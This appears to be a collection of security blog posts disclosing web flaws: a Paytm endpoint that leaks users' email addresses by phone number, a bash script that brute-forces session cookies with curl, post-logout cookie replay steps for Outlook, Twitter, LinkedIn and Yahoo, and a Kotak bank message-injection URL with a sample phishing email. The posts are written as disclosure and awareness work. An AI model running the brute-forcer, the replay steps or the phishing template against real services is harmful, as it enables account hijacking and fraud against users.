paytm & Spear Phishing

Notice
Before you deep dive in the technical information, I wish to confirm that this vulnerability has been FIXED. Thanks to PAYTM for taking a quick action. Looking forward for such quick response on security concerns. Kudos!

Don’t get this wrong. I wish to share a vulnerability that can be leveraged by attackers to perform/ initiate a spear phishing attack. The website in discussion is paytm.com. There is an information disclosure vulnerability in the main website, and an un-authenticated user can query for a mail address against a mobile number. It means, if you have a mobile number of a person who is a member of paytm, you can find his registered email address on the website. Join these 2 elements, and you can send a targeted email to the victim. Let us dive straight into it. paytm uses the following link as the login page, URL: hxxps://hub.paytm.com/user/authenticate

paytm-login-page   paytm-forget-password

Now, as you can see, there are options to login via Facebook or via Mobile Number/ Email address. If you are aware of the mobile number, it is possible to find the email address associated with that number. Bam! Now, let us extract couple of mail addresses from the website. The vulnerability is with handling JSON responses. To initiate this, we will click on the "Forget Password".

paytm-enter-email

Here you can see it asks for ‘Enter Email OR Mobile". Let us try to enter an email address ‘test@test.com’. Voila! we get the following message and see the email address is hidden with **** . Is this hidden actually? It means the email has been sent to the concerned user. Great. Enough of this GUI mumbo-jumbo, why not go into some packet nitty-gritty?

Request Packet (HTTP) – Check Email

paytm-req-email

Details: In this packet a GET request to /api/users/<email address>/checkemail is issues to the host hub.paytm.com. This request also carries two (2) custom headers: X_PAYTMAPP_USERNAME (value: hub.paytm.com) and X_PAYTMAPP_KEY (extracted from the previous response page).

Now, the response packet to the checkemail request is shown below,

Response Packet (HTTP) – Check Email

paytm-resp-email

Details: Here you can see that we have received some interesting information in the response,

Allowed Methods – GET, POST, PUT, DELETE, OPTIONS (isn’t that too many to raise concern?) The response content type is application/json from the nginx web server.

Let us now check the DATA field of the response,

Status: Success (hopefully, query was successfully completed) Code: 200 (HTTP response code) Method: check_email (application module that was queried) Message: Email already exist email_exist: true (email already exists) email_count: 15 (this is perhaps linked to the number of mobile numbers this email address is linked with) verified_account: false (I think this email account has not been verified)

Hence the reply does have information about the <email address> we did a query for. Now, let us post this request/response, another request is sent for ‘forget_password’ module.

Request Packet (HTTP) – Forget Password

paytm-req-pass-email

Details: In this packet, a POST request is sent to /api/users/forgetPassword with data field as mobile=<email address> and the regular cookies with custom headers (X_PAYTMAPP_USERNAME & X_PAYTMAPP_KEY). Here is the response to this,

Response Packet (HTTP) – Forget Password

paytm-resp-pass-email

Okay! So, in the response packet we can see it has the content-type of application/json. Also, we can see it echoes back the email address we queried for. Remember – The ‘Forget Password’ also accepts the Mobile Number. So, will this work with the mobile number as well. For testing purposes, let us say the mobile number of the user is: 9123456789 (a random number). When we enter this number and check .. Voila! It actually exists with the vendor.

paytm-number-fp

In the message, it says – We have sent an email to your registered id q****d@gmail.com. This way, the email address is not visible for extraction. Good Idea. Now, let’s see the request/ response packets for this request,

Request Packet (HTTP) – Check Mobile Number

paytm-mob-req

Details: In this request packet, as expected a GET request goes to /api/users/<mobile number>/checkmobile. This is very similar to the checkemail module discussed before (compare it with: /api/users/<email address>/checkemail). Rest of the headers/ and fields remain the same.

Response Packet (HTTP) – Check Mobile Number

paytm-mob-resp

Details: In this packet we receive the validation message (same as checkemail). This message ensures that the mobile number is existing with the vendor. Also, it says ‘Mobile number unavailable’ but the mobile_exists: true. Rest, it echoes back the number. Let’s see what happens when the request is sent to forgetPassword module.

Request Packet (HTTP) – Mobile Number – Forget Password

paytm-mob-resp

Details: Here is the most important step. After validation, it sends a POST request to /api/users/forgetPassword with DATA as mobile=<mobile number>. This also contains the same custom headers/ and cookie values.

Response Packet (HTTP) – Mobile Number – Forget Password

paytm-mob-response

Details: @^%#WTF. So, the response does show the registered mail address of the user. Bad idea! This can be leveraged to perform targeted spamming. Now, with this mis-configuration and little search online, an attacker can create a spear phishing email. Here is the information that can be used together with specific details like ‘mobile number’ and ‘registered mail address’ extracted from the website. URL: hxxp://www.consumercomplaints.in/?search=paytm URL: hxxp://www.complaintboard.in/complaints-reviews/paytm-mobile-solutions-l120761.html Extract information from here about the mobile number, order number and date etc. Find the registered mail address and WTH! you can definitely fool the user(s) from a forged domain and/or using your social engineering skills. Game Over. Here is a small program I have scripted for doing this work. Here is a screenshot of the same,

cmd-script   cmd-script-check 

cmd-script-getmail

By the way, for the people who do not vote public disclosures, I have already tried reaching paytm team multiple times, but no positive replies or follow-ups from them. Here is a brief on the disclosure timeline I followed,

  • 20.07.2013: I shared first level information with the website via contact us page)
  • 27.07.2013: I opened a ticket 100794989 (via an email to care@paytm.com).
  • 28.07.2013: I received a reply about an expected callback within 24 hours.
  • 01.08.2013: My FINAL MESSAGE to the same email thread with a 12 hr. window for acknowledgement.
  • 02.08.2013: Public Disclosure
  • 05.08.2013: Addressed and Fixed (Closed)

paytm-ticket

paytm-email

Thats it guys. Don’t click, don’t download, if you don’t know. Stay safe, and be smart!

Aug 2nd, 2013 | Filed under: Etc, Hacking
Author: Rishi Narang

Guess Cookie, Hijack Session!

cccIn addition to my previous article – Old Cookies Die Hard, and detailed disclosure of LinkedIn Vulnerability, I studied the cookie patterns from different websites. Many of these websites have complex patterns in the cookies which are long enough (> 100 characters) and complex (A-Z, a-z, 0-9 and symbols). In ideal case (Web Session Management 101), the cookies should mapped with session IDs, and should NOT be re-usable. In simple terms, you login to a website, get cookie ‘A’, and when you logout, ‘A’ should be deleted from the browser, and invalidated from the server! So, even if the cookie is stolen it is not usable to the same session if the user has logged out.

But let us not dive more into the ‘ideal universe’, and be more realistic. In the present structure of world wide web, the session management is widely broken. When I research on the the authentication principle and ‘session management’, I realize it is still in infancy stage. Web developers are not serious with the session management logics, and leave loop holes that favour the attackers. So, if the server is not expiring the cookies, post the session logout; there are chances that the cookie can be brute forced (or guessed). So, you just turn on your .22 calibre cookie gun and automate the process.

Here is a sample POC script to do the same –

#!/bin/bash

## COOKIE BRUTEFORCER – ** Only for internal research and educational purposes. DO NOT USE it on any website without prior permission. **
## – by: Rishi Narang

################################################################################################

## DEFINE GLOBAL VARIABLES

##### SIZE – This variable will hold the size of the cookie pattern. It is the string size of the cookie.
SIZE=<type a number>
##### DOMAIN- Mention the domain name that is to be tested WITHOUT http/https.
DOM=<general URL eg: www.example.com>
##### CNAME – This variable holds the NAME OF COOKIE that is delivered post session authentication
CNAME=<name of authenticated cookie>
##### URL – Authenticated page that can only be accessed post successful login
URL=<authenticated URL>
##### PATTERN – Mention the pattern that can be checked if the login is successful. This pattern should be a part of ONLY an authenticated page.
PATTERN=<mention the pattern>

while true; do

        ## VARCOOK = Holds the random cookie variable to be generated. Should be fixed length pattern. Mention size in global variable. 
        VARCOOK=`< /dev/urandom tr -dc A-Za-z0-9 | head -c${1:-$SIZE};echo;`
        echo "Cookie: $VARCOOK"
        echo -e "$DOMAIN\tTRUE\t/\tFALSE\t0\t$CNAME\t$VARCOOK" > COOKIE.TMP
        curl -sq -b COOKIE.TMP –L $URL -o RESULT.TMP
        cat RESULT.TMP | grep -q "$PATTERN"

        if [ $? -eq 0 ]
        then
                echo -e "$VARCOOK – Success" >> success_file
                rm -rf *.TMP
        else
                rm -rf *.TMP
        fi

done

If I compare the brute-forcing of Cookie vs. the Passwords, here are some cool facts,

  1. In password guessing, you may need the account holders’ username. But, cookie guessing is independent of username. The moment you get the right cookie hit, it is someone’s session.
  2. In password guessing, you may have 3-10 attempts before the websites’ either provide a captcha with login screen or might right away lock you out. But, with cookie guessing you can try million guesses, and still will not be locked out. Therefore, one can automate it to eternity.
  3. Cookie guessing is not recommended if you have to target a certain account, as they are independent of username(s) (assuming username is NOT part of cookie)

If cookie is 20 characters long, and the service provider has 10 million users, you can do the math. Eventually, you will hijack all the possible active accounts. The math is not exponential as with cryptography. It will not take 100s of years, but some months to crack it all. Cookie brute-forcing is a way better idea than password (if you are not targeting particular user), and one fine day you will get someone’s account – either a rock-star, or a p***star, or a public servant, or your maid servant … the probability is low, but given good time (in days/ months) whole wide world is vulnerable. Use cloud computing, parallel processing and you can hijack all the accounts with the service provider.

Session Management needs to be seriously looked after, and not to be taken lightly. It is fundamentally flawed when you do not randomize or expire the cookies.

Wake up, before anyone sips his coffee with your cookies!

Mar 23rd, 2013 | Filed under: Hacking
Author: Rishi Narang

Old Cookies Die Hard

sessionHTTP Cookies have always been an important part of authentication, and session management. But, ever since the session management grew complex, its correlation with security has gone for a toss. Developers pay a lot of attention on keeping the session(s) valid, and more so valid even after a successful logout. Now, this accounts to a session management vulnerability. I understand that the delivery of the cookies, or the session variables have been locked with an HTTPS channel, but to me it is a compensatory control. It is NOT A FIX for a session management vulnerability. I have been talking about it in the past with an example of LinkedIn vulnerability. It made it to the news but still everything has not been taken care of.

Okay, now what is the problem with cookies and session management? Fine, here is the problem statement –

Cookie Expiry and Session Management

It means that the cookie/session ID for an authenticated session is available even after the session has been terminated. There are examples where cookies can be accessible to hijack authenticated sessions. And these cookies are days (sometimes months) old. As a result, someone can successfully access accounts that belong to individuals from different global locations. Even if they would have logged-in/logged out many a times, theirs cookie would still be valid.

Though the cookie expiry date is mentioned still the cookies are valid post log-out. Why do the websites keep the cookie active even if the user has "logged out" and closed the session? Worse, when the same has been done a hundred times! Why do they keep ‘all the sessions maintained’ even when the log-out page has been accessed? I can’t think of a valid justification, and thus it makes a vulnerability. Now, let us go through some famous websites that are vulnerable –

Microsoft Mail Service (www.outlook.com and www.live.com)

Microsoft mail services are vulnerable to this session management flaw. Apart from your regular MSN/Live email accounts, you can also move your corporate accounts on outlook exchange mail service. Thus, it also affects your Microsoft hosted corporate accounts. Now, the problem with outlook/live is that it authenticates the old session cookies even if the user has logged out from the session. Here is a walkthrough of the authentication cookie for live.com but the same works with outlook.com accounts as well,

Name Value
Host .login.live.com
Name PPAuth
Path /
Content <removed for privacy & account security>
Expires At the end of session
Send for Encrypted connections only
Created Tuesday, March 19, 2013 9:51:42 PM
Last accessed Tuesday, March 19, 2013 9:51:42 PM
HTTP only No
This domain only Yes
Policy <no information available>
Status <no information available>

To check this vulnerability & confirm the finding, here are some of the steps,

  1. Login to your live.com/ outlook.com account and check for cookies (recommended: Cookie Manager w/ Firefox).
  2. There will be a huge list of cookies added by live.com. Look for the authentication cookie (PPAuth for live.com or RPSAuth for outlook.com).
  3. If not sure among the different *AUTH cookies (MSPAuth, PPAuth, RPSTAuth), for safer side, backup of all types of *AUTH cookies in a separate file.
  4. Click the logout/ sign-out from your account. Check the cookies and make sure the *AUTH cookie(s) are deleted.
  5. Ideally the AUTH cookie should be deleted from the server too. But has it? Lets check.
  6. Import the saved cookie into the browser, and try opening live.com. You will see the mailbox right away.

So what just happened? How the old cookie is still being validated at the server end? The cookie expires at the end of session, gets deleted from the browser but what about the server? Why the server maintains the authentication cookie and for how long will this be valid? No idea but scary.

Twitter Service (www.twitter.com)

Twitter is even a step ahead with this strange behaviour. Let us first check the authentication cookie for Twitter,

Name Value
Host .twitter.com
Name auth_token
Path /
Content <removed for privacy & account security>
Expires At the end of session
Send for Encrypted connections only
Created Tuesday, March 19, 2013 11:37:33 PM
Last accessed Tuesday, March 19, 2013 11:37:33 PM
HTTP only No
This domain only Yes
Policy <no information available>
Status <no information available>

We now logout from the session, and clean the cache/ delete the cookies. Let us import this cookie in the browser, and voila! we have the twitter authenticated. So, twitter is for sure vulnerable to bad session management.

Here is a video POC –

Twitter–Session Management (auth_token)

There is a bigger issue with twitter – the authentication cookie (auth_token) is a CONSTANT alphanumeric string. During my research, and multiple logins to twitter, it turned out to be the same constant string again and again. It is NOT a random generated session based token, but even after multiple logins via different browsers/ IPs, it remains constant every time. It means, once it is stolen, an attacker can gain control of your account anytime. OMG! is this the way to handle an authenticated session? Twitter! I didn’t expect this from you.

LinkedIn Networks (www.linkedin.com)

I have already spoken a lot on LinkedIn session management in my previous article. Here is the authentication cookie for LinkedIn,

Name Value
Host www.linkedin.com
Name leo_auth_token
Path /
Content LIM:<removed for privacy & account security>
Expires Tuesday, June 18, 2013 12:20:02 AM
Send for Any type of connection
Created Wednesday, March 20, 2013 12:19:52 AM
Last accessed Wednesday, March 20, 2013 12:20:03 AM
HTTP only No
This domain only No
Policy <no information available>
Status <no information available>

Yes, LinkedIn cookie still has the HTTPS and HTTP Only flag not set. It means, the cookie is very much available for sniffing on HTTP channel. Enough said.

Yahoo Service (www.yahoo.com)

Okay, I know Yahoo was an odd choice, but still I was curious how yahoo web application actually handles the session management. Here is my analysis on the two cookies (Y and T) which act as authenticated cookies for session management with Yahoo,

Authentication Cookie – ‘T

Name Value
Host .yahoo.com
Name T
Path /
Content <removed for privacy & account security>
Expires At end of session
Send for Any type of connection
Created Wednesday, March 20, 2013 12:39:27 AM
Last accessed Wednesday, March 20, 2013 12:39:27 AM
HTTP only No
This domain only Yes
Policy <no information available>
Status <no information available>

Other verification cookie – ‘Y

Name Value
Host .yahoo.com
Name Y
Path /
Content <removed for privacy & account security>
Expires At the end of session
Send for Any type of connection
Created Wednesday, March 20, 2013 12:39:27 AM
Last accessed Wednesday, March 20, 2013 12:39:27 AM
HTTP only No
This domain only Yes
Policy <no information available>
Status <no information available>

Yes! Yahoo is even vulnerable and the cookies are not being locked with ‘Encrypted sessions ONLY flag’.

Summary

Here is a list of websites that I tested against the session management vulnerability –

  1. www.outlook.com / www.live.comVulnerable
  2. www.google.com / www.gmail.comNot Vulnerable
  3. www.twitter.comVulnerable
  4. www.linkedin.comVulnerable (still) 
  5. www.facebook.comNot Vulnerable
  6. www.yahoo.comVulnerable

As it is well confirmed that session management vulnerability is very common, and most of the web servers do not discard the session even after the user has logged out. This practice is not safe, and needs quick attention. No matter how strong a password is, but vulnerability in handling a session can be the loophole you should never take it lightly.

Mar 19th, 2013 | Filed under: Hacking
Author: Rishi Narang

Sponsored Ad – Trust it?

I am not sure if this is an expected feature, an expected ‘trick’ from the sponsored advertisements (S.Ads) of Google but to me its a surprise (shocking). These S.Ads are the links pushed with payments to the service provider, and are also termed as being part of Pay-Per-Click program. Google says – "No matter what your budget, you can display your ads on Google and our advertising network. Pay only if people click your ads."

Now what I didn’t know that if I hover over these links, the URL that appears in my browser status bar can be different from the actual one that redirect when I click on it. I know its a little confusing to understand, so here are some screenshots.

Example Image 1 – Search "Jet Airways" and Hover Over a Sponsored Link

Here one can see when I hover over the sponsored link, I could see www.jetairways.com in the browser status bar. Now, let me click on the link and see if it really goes to the intended link.

Example Image 2 – Click on the Sponsored Link and voila! I am on http://r.couponsglobal.com/?jetairwaysdo (ah! this is not what I got when I checked it with a hover-over)

open_link

 

Now, it may look very naive if you are aware of it, but to me I don’t expect it. What if I trust the link, and then on click it turns out to be something else (maybe malicious).

Be safe,
\r\n

Dec 5th, 2012 | Filed under: Etc
Author: Rishi Narang

I trust you. Don’t phish me

With so many vulnerabilities floating all around us, this is one of its type. This vulnerability has no impact on the user information, bank servers, data but still can be leveraged to perform tricks on the end-users. What if I ‘use’ this vulnerability (design-flaw) to phish end-users? Will they trust it? I think yes they will, as it is arriving from legit website so you have full rights to trust the relationship and messages it throws on you.

[UPDATE] This vulnerability has been addressed. Please read the Kotak’s message at the end of this blog. For information, continue reading.

The website that is in discussion is of an Indian bank –  Kotak Mahindra Bank. As a bank, I would highly recommend it; great services with amazing potential to grow! They have a secure interface for net banking and net cards, but nevertheless, missed out a bit on the error message flow design.

Let me take you through the process of login into Kotak Bank.

Main Website – www.kotak.com
Login Page – https://www.kotak.com/j1001mp/netapp/MainPage.jsp
Access Code (OTP) – https://www.kotak.com/pg/GeneratePin.jsp

Okay, so you are clear with the authentication links and possible flow. Now, lets focus on the OTP generation page which takes no input (from text box) but a click at ‘Generate the access code‘. Once you click the link, it will generate a code & send to your mobile number, or an error message as per the information supplied on the previous page.

But how is the error message pop-up works? It gets the response from the server and appends it in form of GET request in URL. So, ideally if the error message is ‘Sorry the access code can’t be generated.’, the URL will look like –

hxxps://www.kotak.com/pg/GeneratePin.jsp?flagvalue=NNA&ErrorMsg1=Sorry%20the%20access%20code%20can\’t%20be%20generated%2E

I hope you get it what I mean to say. Yes! we can surely customize the error message thrown by the server (at least that what it looks like). Now, what can be the problem with this? To address the problem statement, and security concern let us assume a scenario –

Let us say ‘Alice’ receives an email from a spoofed or look-alike email address (kotak-security@example.com) and the contents of the email (the links can be more obfuscated or shortened) are,

Dear Alice,

This is to bring to your kind attention that we have encountered the usage of your account from other geographical location. This can be a legitimate activity but to validate we need to know your current location. Please generate a new access code, and we will map your current location.

If the location doesn’t match the last stored location, we will ask you to login to our ‘secured page’ for further actions. Kindly co-operate and sorry for resulted inconvenience.

This is for the security of your account, and requires a quick action. Please click the link below,

hxxps://www.kotak.com/pg/GeneratePin.jsp?flagvalue=NNA&ErrorMsg1=Dear%20Alice%2C\nYour%20last%20account%20access%20is%20not%20matched.\nPlease%20close%20this%20page%2C%20and%20login%20
to%20www.kotak-security.example.com%20to%20update%20your%20settings%20immediately.\n\nBest%20Wishes%2C\nKotak%20Mahindra%20Bank

Regards,
Kotak Mahindra Bank

What do you think is breaking here?

Alice trusts the bank website! When Alice will click on the link, it will throw the message box with our customized message. And if the user doesn’t have security awareness, chances are he/she will do as communicated. Alice will think that the message is on a legit website and by the legit website. Bang! Game Over.

Conclusion
I think the critical websites, specially if they are dealing with financial information should surely address such design flaws, and make sure there is now way a malicious user can use their design to fool its victims.

Kotak should fix this before it falls in the hands of wrong people.

..

UPDATE:
Some readers had a doubt that I didn’t inform about this flaw to Kotak Bank, before doing a public disclosure. Here is a snapshot of one such email I sent earlier to Kotak Bank.

9th November, 2012: Kotak’s Quick Response & Fix

In the light of recent news of a possible breach of security and customer exposure to vulnerability on our netbanking site, we would like to assure our customers that your accounts will not be affected in any manner whatsoever and your netbanking transactions are not exposed to any risks. The articles and tweets brought to our attention a vulnerability which could lead to a possible security breach. However, after having checked with our internal cyber security experts we assure you that there is no actual possibility of a security breach on the Kotak netbanking/payment gateway as a result of this vulnerability.

While we do acknowledge the presence of this vulnerability on our netbanking site, we would like to reiterate that this vulnerability is in no way harmful to your netbanking experience on our website and neither does it pose any possible security threat to your account. We are thankful to those who brought this issue to our notice and have fixed the vulnerability. We offer our sincerest apologies to our customers for any inconvenience caused and we reassure you that Kotak netbanking is a safe and secure service.

For any further questions or queries that you might have, we request you to kindly get in touch with us by emailing us on the following address: solutions.bank@kotak.com

Thanks Kotak for the immediate fix and the public acknowledgement. The security community always appreciate it. Cheers!

- /r/n.

Nov 6th, 2012 | Filed under: Hacking, Security
Author: Rishi Narang